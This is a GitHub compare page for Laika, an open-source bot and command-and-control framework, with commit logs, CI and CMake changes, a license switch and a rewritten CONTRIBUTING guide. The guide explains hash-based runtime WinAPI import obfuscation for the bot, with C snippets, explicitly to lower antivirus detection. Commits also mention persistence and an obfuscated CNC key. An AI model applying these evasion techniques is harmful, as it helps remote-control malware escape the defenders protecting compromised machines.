1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-25 07:40:05 +00:00

Compare commits

...

66 Commits

Author SHA1 Message Date
7c4a5ddc8c VMBoxGen: minor refactoring 2022-10-08 18:32:33 -05:00
5076e4c7b9 updated to latest libsodium version 2022-10-08 18:09:16 -05:00
a1c49edda1 updated README 2022-10-06 23:22:24 -05:00
0adfdc0ace stale comment 2022-10-05 20:47:23 -05:00
3316c77667 minor 'DEBUG' refactoring
- for debug builds, the LAIKA_DEBUG_BUILD macro will be defined in lconfig.h
- LAIKA_OBFUSCATE now controls the winobf IAT obfuscation as well
2022-10-05 20:36:49 -05:00
7ec814525c minor refactoring 2022-09-29 16:36:19 -05:00
490fcec4e7 minor formatting changes 2022-09-07 18:42:04 -05:00
674ea2b47b lmem.[ch]: removed inlined functions
- fixes some builds
2022-09-07 17:53:49 -05:00
6ab280d010 lsocket.[ch]: refactored writeInt && readInt
- switched to laikaS_readu* && laikaS_writeu*
- this gets rid of the ugly malloc() for platforms that don't support VLAs
2022-09-07 17:53:49 -05:00
dc91a207b1 Update README.md 2022-09-07 03:11:01 -05:00
257a50e817 CONTRIB: ltask.c should probably be reviewed lol 2022-09-03 00:56:17 -05:00
d015eec5f1 updated CONTRIB 2022-09-01 20:15:35 -05:00
cf01657cc2 fixes for winblows 2022-09-01 20:07:29 -05:00
587d9a26e5 lpolllist.c: fix poll ifdef paths 2022-09-01 20:04:54 -05:00
b23057b219 Refactoring: reorganized files 2022-09-01 20:00:37 -05:00
169313ee39 shell: migrated to new vector API
- removed array API from lmem.h
- sterm.c: basically left as-is. see source for notes as to why
2022-09-01 19:35:52 -05:00
44086f563b cnc: migrate to new vector API 2022-09-01 19:12:13 -05:00
13398dbdf6 lsocket.[ch] & lpeer.c: migrated to new vector API 2022-09-01 19:05:56 -05:00
af09e74263 lmem.h: new laikaM_*Vector macros
- these will slowly replace laikaM_*array
- lpeer.[ch] has been migrated
2022-09-01 18:47:29 -05:00
dbbe5f5a2a CNC: laikaC_sendPeerList() now uses laikaC_iterPeersNext() 2022-08-03 20:50:55 -05:00
3034c3bd8b minor refactoring, only call laikaT_getTime() once 2022-08-03 15:39:15 -05:00
770e34463e CNC: use laikaC_iterPeersNext for sweepPeersTask 2022-08-03 15:20:00 -05:00
68f8e80c75 laikaC_iterPeers now uses hashmap_iter
TODO:
- refactor codebase to use laikaC_iterPeersNext instead of laikaC_iterPeers where appropriate
2022-08-02 11:22:06 -05:00
10a36df090 Updated hashmap.c 2022-08-02 11:19:29 -05:00
fab6c5b4f6 typos 2022-07-30 23:16:00 -05:00
ed96b75577 Moved API obfuscation to LaikaLib target 2022-07-16 16:09:33 -05:00
25c18db6bc Bot: added Registry related API to laikaO_init()
- Also fixed misc. shell bug.
2022-07-12 18:09:23 -05:00
5d2f492c41 Updated README, moved compilation steps to wiki 2022-07-12 17:06:35 -05:00
82a6d45ed0 Updated CONTRIBUTING.md; New section to help users add WinAPI imports 2022-07-12 16:08:58 -05:00
f65341c5fa Bot: Fixed CreatePseudoConsole type definition 2022-07-12 16:04:29 -05:00
fdbe6cf3c7 Bot: More APIs added to laikaO_init()
- Misc. functions converted to their UTF-8 version
- ClosePseudoConsole & CreateProcessA are now manually 'linked' during runtime
2022-07-10 19:24:48 -05:00
4c8fef7d64 Use FreeLibrary(), not CloseHandle() 2022-07-10 19:24:48 -05:00
4d931f28cb Bot: Fixed MSVC warnings 2022-07-10 19:24:48 -05:00
35cbd91dd1 Bot: Added oCreatePseudoConsole to laikaO_init() 2022-07-10 19:24:48 -05:00
f92bbbc85b Bot: added library cleanup to findByHash() 2022-07-10 19:24:48 -05:00
b2f8efc402 Bot: Added boilerplate windows API obfuscation
- Grabs the functions directly from the loaded library by walking the exported address table and comparing hashes
- For now, only ShellExecuteA has been setup, more to come
2022-07-10 19:24:48 -05:00
18a6fdd124 Lib: Variadic packets now use the 'size' field as a minimum requirement 2022-06-30 20:19:35 -05:00
bc071c10d2 Lib: added PEER_PEER type for uninitalized peers
- defined LAIKA_PING_INTERVAL for the ping task
2022-06-30 20:19:35 -05:00
bc9891bcfd Switched licenses (GPL -> MIT) 2022-06-30 20:19:35 -05:00
ff8b059eff Removed unused cmake-modules 2022-06-30 20:19:35 -05:00
8092a636ca CNC, Lib, Bot, Shell: New 2nd stage handshake
- New packet, LAIKAPKT_PEER_LOGIN_REQ
- All peers must prove they have access to the sent pubkey by passing a challenge. A salt is now sent on the handshake response packet, which must be encrypted and sent back through the PEER_LOGIN packet
- Protcol minor version incremented to 0.4
2022-06-30 20:19:35 -05:00
db05f2eb13 README: Updated CMake requirements 2022-06-29 17:55:42 -05:00
2c63e43b00 Added note about coding style enforcement 2022-06-29 17:46:13 -05:00
2e4c63c0c6 Bot: misc. formatting fixes 2022-06-29 17:45:51 -05:00
a7a938c9e8 Bot: fix shell header includes (x2) 2022-06-27 19:48:43 -05:00
692b3c6137 Lib: fix windows headers 2022-06-27 19:11:43 -05:00
b6eebdd5fb Bot: fixed shell include errors 2022-06-27 19:02:49 -05:00
48fa8935c3 Added .clang-format, formatted codebase 2022-06-27 18:57:00 -05:00
1d6ce15b3d Minor comments refactoring 2022-06-27 18:20:23 -05:00
ca0543fe90 Removed unused content streams 2022-06-26 19:02:21 -05:00
43ef603301 README: action badge should only reflect the main branch 2022-06-19 22:44:59 -05:00
0fc8d0c169 CNC: Fix possible out of bounds subscript for SHELL_* packets
- content events now pass the sLaika_peer struct
2022-06-13 12:11:08 -05:00
fb464f579f Shell: Support for spaces in arguments
- Just like a normal shell, any space after a '\' will be treated as a raw space and not a command delimiter
- minor refactoring
2022-06-09 20:57:57 -05:00
87f5eaa694 CMake: Minor debug refactoring
- LAIKA_DEBUG_BUILD is set to true if lower(CMAKE_BUILD_TYPE) matches 'debug'
2022-06-05 15:51:18 -05:00
a410a9ac15 Updated Asciinema & fixed windows debug builds 2022-06-04 10:26:25 -05:00
c4c5bc9ce5 Lib: Added support for IPV6 connections 2022-06-04 10:11:28 -05:00
b00ac16cb3 Shell/CNC: Moved line endings conversion from cnc to shell
- Also fixed DEBUG output for windows LaikaBot builds
2022-06-03 20:55:14 -05:00
fed78402a2 Bot: Obfuscated CNC public key 2022-05-27 17:51:10 -05:00
0fdca35f87 Shell: minor refactoring, cnc supports mutiple shells per auth clients
- while cnc supports multiple shells per auth client, the LaikaShell still only supports 1 concurrent shell at a time.
	this feature is just preparing boilerplate for future features. shell treats all SHELL_* packets for the same shell, regardless of shellID
2022-05-20 14:10:53 -05:00
e3f6b76e35 Untracked .vscode 2022-05-20 01:03:43 -05:00
83c79ca662 TODO: Follow GNU GPL guidelines 2022-05-19 12:42:22 -05:00
64914a1eb1 Removed stale file 2022-05-19 12:37:45 -05:00
39417fb2ac CI: Make windows build less fat 2022-05-19 12:33:47 -05:00
872641cc63 Lib: force to be compiled *after* VMBoxGen 2022-05-19 12:32:39 -05:00
778c9fb92a CI: Test building for different release types & configs 2022-05-19 12:24:32 -05:00
b578f29168 added lconfig.h symbolic link 2022-05-19 12:15:22 -05:00
98 changed files with 4580 additions and 5452 deletions

28
.clang-format Normal file
View File

@@ -0,0 +1,28 @@
---
Language: Cpp
# BasedOnStyle: Mozilla
AccessModifierOffset: -2
AlignAfterOpenBracket: Align
AlignArrayOfStructures: Right
AlignConsecutiveMacros: AcrossEmptyLinesAndComments
AlignConsecutiveAssignments: None
AlignConsecutiveBitFields: None
AlignConsecutiveDeclarations: None
AlignEscapedNewlines: Right
AlignOperands: Align
AlignTrailingComments: true
AllowAllArgumentsOnNextLine: true
AllowShortEnumsOnASingleLine: false
AllowShortFunctionsOnASingleLine: None
AllowShortBlocksOnASingleLine: Never
AllowShortIfStatementsOnASingleLine: Never
AlwaysBreakAfterReturnType: None
BreakBeforeBraces: Mozilla
IndentWidth: 4
ColumnLimit: 100
IncludeBlocks: Regroup
IndentPPDirectives: AfterHash
MacroBlockBegin: "^LAIKA_TRY$"
MacroBlockEnd: "^LAIKA_TRYEND$"
...

View File

@@ -14,22 +14,49 @@ on:
jobs:
ubuntu-build:
runs-on: ubuntu-latest
name: ${{ matrix.name }}
runs-on: ubuntu-20.04
env:
CTEST_OUTPUT_ON_FAILURE: ON
CTEST_PARALLEL_LEVEL: 2
strategy:
fail-fast: false
matrix:
include:
- name: Default
cmake-args: ""
- name: Debug
cmake-args: "-DCMAKE_BUILD_TYPE=Debug"
- name: Debug-Persistence-Obfuscate
cmake-args: "-DCMAKE_BUILD_TYPE=Debug -DLAIKA_PERSISTENCE=On -DLAIKA_OBFUSCATE=On"
- name: Release
cmake-args: "-DCMAKE_BUILD_TYPE=MinSizeRel"
- name: Release-Persistence-Obfuscate
cmake-args: "-DCMAKE_BUILD_TYPE=MinSizeRel -DLAIKA_PERSISTENCE=On -DLAIKA_OBFUSCATE=On"
steps:
- uses: actions/checkout@v2
with:
submodules: recursive
- name: Install dependencies
run: sudo apt install clang cmake -y
- name: Create CMake build files
run: cmake -B build
- name: Check compilation
- uses: actions/setup-python@v2
with:
python-version: "3.10"
- name: Install
run: pip install cmake==3.21.4 --upgrade
- name: CMake
run: cmake -S . -B build ${{ matrix.cmake-args }}
- name: Build
run: cmake --build build
- name: Upload build artifact
uses: actions/upload-artifact@v2
with:
name: laika-demo-binaries-ubuntu
name: Laika-Ubuntu-${{ matrix.name }}
path: bin
- name: Cleanup
run: rm -rf bin build
windows-build:
runs-on: windows-latest
@@ -38,11 +65,11 @@ jobs:
with:
submodules: recursive
- name: Create CMake build files
run: cmake -B build
run: cmake -B build -DCMAKE_BUILD_TYPE=MinSizeRel -DLAIKA_PERSISTENCE=On -DLAIKA_OBFUSCATE=On
- name: Check compilation
run: cmake --build build
run: cmake --build build --config MinSizeRel
- name: Upload build artifact
uses: actions/upload-artifact@v2
with:
name: laika-demo-binaries-windows
name: Laika-Windows-Release-Persistence-Obfuscate
path: winbin

57
.vscode/settings.json vendored
View File

@@ -1,57 +0,0 @@
{
"files.associations": {
"*.tcc": "cpp",
"deque": "cpp",
"list": "cpp",
"string": "cpp",
"unordered_map": "cpp",
"unordered_set": "cpp",
"vector": "cpp",
"cinttypes": "cpp",
"cstring": "cpp",
"algorithm": "cpp",
"chrono": "cpp",
"array": "cpp",
"compare": "cpp",
"functional": "cpp",
"istream": "cpp",
"ostream": "cpp",
"ratio": "cpp",
"tuple": "cpp",
"type_traits": "cpp",
"utility": "cpp",
"variant": "cpp",
"stdio.h": "c",
"bit": "c",
"limits": "c",
"*.in": "cpp",
"lerror.h": "c",
"stdbool.h": "c",
"alloca.h": "c",
"bot.h": "c",
"string_view": "c",
"lconfig.h": "c",
"inttypes.h": "c",
"time.h": "c",
"features.h": "c",
"lboxconfig.h": "c"
},
"cSpell.words": [
"cnc's",
"CWARN",
"epollfd",
"EPOLLIN",
"evnt",
"EWOULD",
"ISPROTECTED",
"Laika",
"LAIKAENC",
"LAIKAMAGIC",
"LAIKAMAGICLEN",
"LAIKAPKT",
"NOMINMAX",
"PCLIENT",
"rmvarray",
"wmain"
]
}

View File

@@ -9,9 +9,6 @@ execute_process(COMMAND git rev-parse --short HEAD OUTPUT_VARIABLE GIT_VERSION O
# Set the project as the default startup project for VS
set_property(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} PROPERTY VS_STARTUP_PROJECT LaikaLib)
# include our cmake modules
set(CMAKE_MODULE_PATH "${CMAKE_SOURCE_DIR}/cmake-modules" ${CMAKE_MODULE_PATH})
# Output binaries to the bin folder in the source directory
if(WIN32)
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_SOURCE_DIR}/winbin)
@@ -30,22 +27,22 @@ endif ()
string(TOLOWER ${CMAKE_BUILD_TYPE} RAWCMAKEBUILDTYPE)
message(STATUS "CMAKE_BUILD_TYPE: " ${RAWCMAKEBUILDTYPE})
if(RAWCMAKEBUILDTYPE STREQUAL "debug")
set(LAIKA_DEBUG_BUILD on)
if(WIN32)
# statically link debug libs for windows
message(STATUS "Adding MSVC Debug libs...")
message(STATUS "Adding MSVCRT Debug libs...")
set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreadedDebug")
else()
message(STATUS "Adding sanitizer...")
#set(SANITIZE_ADDRESS TRUE)
#add_sanitizers(LaikaLib LaikaBot LaikaCNC)
# bug in FindSanitizer.cmake ??? idfk, i'll investigate l8tr
add_compile_options(-fsanitize=address)
add_link_options(-fsanitize=address)
endif ()
else()
set(LAIKA_DEBUG_BUILD off)
# statically link non-debug libs
if(WIN32)
message(STATUS "Adding MSVCRT libs...")
set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded")
endif ()
endif ()
@@ -56,7 +53,7 @@ set(SODIUM_MINIMAL ON)
set(SODIUM_STATIC ON)
add_subdirectory(libsodium)
# ========================================== [[ CONFIG DEFAULTS ]] ==========================================
# ===================================== [[ CONFIG DEFAULTS ]] =====================================
set(LAIKA_VMBOXCONFIG ${CMAKE_SOURCE_DIR}/lib/include/lboxconfig.h)
@@ -79,7 +76,7 @@ endif ()
# version details
set(LAIKA_VERSION_MAJOR 0)
set(LAIKA_VERSION_MINOR 3)
set(LAIKA_VERSION_MINOR 4)
message(STATUS "Building config file...")
configure_file(${CMAKE_SOURCE_DIR}/lib/include/lconfig.h.in ${CMAKE_SOURCE_DIR}/lib/include/lconfig.h)
@@ -87,14 +84,14 @@ configure_file(${CMAKE_SOURCE_DIR}/lib/include/lconfig.h.in ${CMAKE_SOURCE_DIR}/
# config vm boxes
add_subdirectory(tools/vmboxgen)
# =========================================== [[ BUILD TOOLING ]] ===========================================
# ====================================== [[ BUILD TOOLING ]] ======================================
# compile laikalib, tools, cnc & bot
add_subdirectory(lib)
add_subdirectory(tools)
add_subdirectory(bot)
# these subprojects don't support windows (sorry)
add_subdirectory(bot) # windows support Soon:tm:
if(NOT WIN32 AND (UNIX AND NOT APPLE))
add_subdirectory(cnc)
add_subdirectory(shell)

View File

@@ -2,23 +2,68 @@
HEAD: https://github.com/CPunch/Laika/tree/main
## Directories explained
- `/cmake-modules` holds helper functions for CMake.
- `/lib` is a shared static library between the bot, shell & CNC. LibSodium is also vendor'd here.
- `/cnc` is the Command aNd Control server. (Currently only targets Linux)
- `/bot` is the bot client to be ran on the target machine. (Targets both Linux and Windows)
- `/shell` is the main shell to connect to the CNC server with to issue commands. (Currently only targets Linux)
- `/tools` holds tools for generating keypairs, etc.
## Coding style
Laika uses clang-format to enforce a consistent style across the codebase. Before committing changes, make sure to run `git clang-format` and add the changes to the commit. Pull requests with wrong styling will be rejected.
## Tasks and TODOs
Looking for some simple tasks that need to get done for that sweet 'contributor' cred? Check here!
- Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support
- Fix address sanitizer for CMake DEBUG builds
- Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features.
- Implement more LAIKA_BOX_* VMs in `lib/include/lbox.h`
- Change laikaT_getTime in `lib/src/core/ltask.c` to not use C11 features and maybe review my linked list implementation :(
- Implement more LAIKA_BOX_* VMs in `lib/include/core/lbox.h`s
- Import more WinAPI manually using the method listed below
## Bot: Windows API Imports Obfuscation
Laika uses the fairly common technique of importing several API functions during runtime to help lower AV detection rates. In short, this just removes our library function from our IAT (Import Address Table), making it harder for AV to know what APIs we're loading and using. The logic for importing API is in `lib/win/winobf.c`. To add another API to our import list, first make the function typedef & function pointer definition in `lib/include/obf.h`, for example:
```C
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
extern _ShellExecuteA oShellExecuteA;
```
> The naming convention for the typedef is an underscore '_' and then the WinAPI import name; for the identifier it's 'o' (for obfuscated) and then the WinAPI import name
Next, define the function pointer in `bot/win/winobf.c`, right before the `laikaO_init()` function.
```C
_ShellExecuteA oShellExecuteA;
```
Now to dump the calculated hash (and to check and make sure there's no collisions) feel free to use this tiny code stub and just run a debug build of Laika.
```C
uint32_t _hash = getHashName("ShellExecuteA");
printf("ShellExecuteA: real is %p, hashed is %p. [HASH: %x]\n",
(void *)ShellExecuteA,
findByHash("shell32.dll", _hash), _hash);
```
> I usually just insert this at the end of `laikaO_init()`, although it doesn't really matter since we're just dumping the hash and making sure it works properly.
> NOTE: To find out what API is imported from what library, just look at the executable's import table using a tool like [PE-explorer](http://www.pe-explorer.com/)
You'll see output like so:
```
ShellExecuteA: real is 00007FFC6A71E780, hashed is 00007FFC6A71E780. [HASH: 89858cd3]
```
If the `real` & `hashed` match, that means our manual runtime import and the import from the windows loader matched the same function! So it worked fine. Next we'll take the `HASH` from that output and plug it into a call to `findByHash()`. After removing that previous code stub our end result should look something like:
```C
oShellExecuteA = (_ShellExecuteA)findByHash("shell32.dll", 0x89858cd3);
```
> Again, just put yours next to the others in `laikaO_init()`
Now just replace all of the calls to the raw WinAPI (in our case, ShellExecuteA) with our new manually imported oShellExecuteA function pointer. Format & commit your changes, and open a PR and I'll merge your changes. Thanks!
## Lib: Error Handling
Error handling in Laika is done via the 'lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp(). The LAIKA_ERROR(...) is used to throw errors.
Error handling in Laika is done via the 'lib/core/lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp() & longjmp(). The LAIKA_ERROR(...) macro is used to throw errors.
Example:
```C
@@ -39,15 +84,13 @@ Some minor inconveniences include:
- not thread safe.
## Lib: Packet Handlers
Laika has a simple binary protocol & a small backend (see `lib/src/lpeer.c`) to handle packets to/from peers. `lib/include/lpacket.h` includes descriptions for each packet type. For an example of proper packet handler definitions see `bot/src/bot.c`. It boils down to passing a sLaika_peerPacketInfo table to laikaS_newPeer. To add packet handlers to the bot, add your handler info to laikaB_pktTbl in `bot/src/bot.c`. To add packet handlers to the shell, add your handler info to shellC_pktTbl in `shell/src/sclient.c`. For adding packet handlers to cnc, make sure you add them to the corresponding table in `cnc/src/cnc.c`, laikaC_botPktTbl for packets being received from a bot peer, laikaC_authPktTbl for packets being received from an auth peer (shell), or DEFAULT_PKT_TBL if it's received by all peer types (things like handshakes, keep-alive, etc.)
Laika has a simple binary protocol & a small backend (see `lib/src/net/lpeer.c`) to handle packets to/from peers. `lib/include/net/lpacket.h` includes descriptions for each packet type. For an example of proper packet handler definitions see `bot/src/bot.c`. It boils down to passing a sLaika_peerPacketInfo table to laikaS_newPeer. To add packet handlers to the bot, add your handler info to laikaB_pktTbl in `bot/src/bot.c`. To add packet handlers to the shell, add your handler info to shellC_pktTbl in `shell/src/sclient.c`. For adding packet handlers to cnc, make sure you add them to the corresponding table in `cnc/src/cnc.c`, laikaC_botPktTbl for packets being received from a bot peer, laikaC_authPktTbl for packets being received from an auth peer (shell), or DEFAULT_PKT_TBL if it's received by all peer types (things like handshakes, keep-alive, etc.)
## Lib: Task Service
Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server.
## Lib: VM Boxes
Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/lvm.h`, for information on how to use them read `lib/include/lbox.h`. Feel free to write your own boxes and contribute them :D
Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/core/lvm.h`, for information on how to use them read `lib/include/core/lbox.h`. Feel free to write your own boxes and contribute them :D
## Bot: Platform-specific backends
`bot/win` and `bot/lin` include code for platform-specific code that can't be quickly "ifdef"d away. These mainly include stuff like persistence or opening pseudo-ttys.

View File

@@ -1,674 +1,7 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright © 2022 Laika Contributors
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
Preamble
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
